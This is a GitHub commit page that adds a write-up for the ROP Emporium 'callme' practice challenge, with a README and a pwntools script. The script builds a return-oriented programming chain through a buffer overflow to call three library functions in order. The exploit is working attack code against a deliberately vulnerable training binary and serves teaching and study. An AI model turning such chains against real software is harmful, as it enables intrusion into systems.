Skip to content

Commit de37238

Browse files
authored
callme challenge
1 parent 66028e9 commit de37238

File tree

10 files changed

+100
-0
lines changed

10 files changed

+100
-0
lines changed
33.5 KB
Loading
6.21 KB
Loading
8.35 KB
Loading

Rop-Emporium/callme/README.md

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# callme
2+
3+
> Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.
4+
> Click below to download the binary.
5+
>
6+
> Url: https://ropemporium.com/challenge/callme.html
7+
8+
9+
10+
### x64 Solution
11+
12+
We must call **callme_one(), callme_two()** and **callme_three()** in that order, each with the arguments 1,2,3 e.g. **callme_one(1,2,3)** to print the flag
13+
14+
![](Images/functions.png)
15+
16+
17+
18+
**x64 Calling Convention**
19+
20+
- First argument: `rdi`
21+
- Second argument: `rsi`
22+
- Third argument: `rdx`
23+
24+
25+
26+
```bash
27+
~$ ropper -f callme64 > callme64-gadgets.txt
28+
```
29+
30+
![](Images/gadget.png)
31+
32+
33+
34+
```python
35+
from pwn import *
36+
37+
elf = ELF('./callme64')
38+
39+
context.terminal=['tmux','sp','-h']
40+
#context.log_level='DEBUG'
41+
42+
io=process(elf.path)
43+
payload= flat( 'A'*40 ,
44+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
45+
1, #argument 1
46+
2, # argument 2
47+
3, # argument 3
48+
elf.sym['callme_one'],
49+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
50+
1,
51+
2,
52+
3,
53+
elf.sym['callme_two'],
54+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
55+
1,
56+
2,
57+
3,
58+
elf.sym['callme_three'],
59+
endianness='little',word_size=64,sign=False)
60+
61+
io.recvuntil('> ')
62+
io.sendline(payload)
63+
io.interactive()
64+
```
65+
66+
![](Images/flag.png)
67+

Rop-Emporium/callme/callme64

13 KB
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
SMSA~gXxekhieactt`L''tnl|E}p|y>]!
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
from pwn import *
2+
3+
elf = ELF('./callme64')
4+
5+
context.terminal=['tmux','sp','-h']
6+
#context.log_level='DEBUG'
7+
8+
io=process(elf.path)
9+
payload= flat( 'A'*40 ,
10+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
11+
1, #argument 1
12+
2, # argument 2
13+
3, # argument 3
14+
elf.sym['callme_one'],
15+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
16+
1,
17+
2,
18+
3,
19+
elf.sym['callme_two'],
20+
0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
21+
1,
22+
2,
23+
3,
24+
elf.sym['callme_three'],
25+
endianness='little',word_size=64,sign=False)
26+
27+
io.recvuntil('> ')
28+
io.sendline(payload)
29+
io.interactive()

Rop-Emporium/callme/key1.dat

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+

2+


Rop-Emporium/callme/key2.dat

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+


Rop-Emporium/callme/libcallme.so

8.38 KB
Binary file not shown.

0 commit comments

Comments
 (0)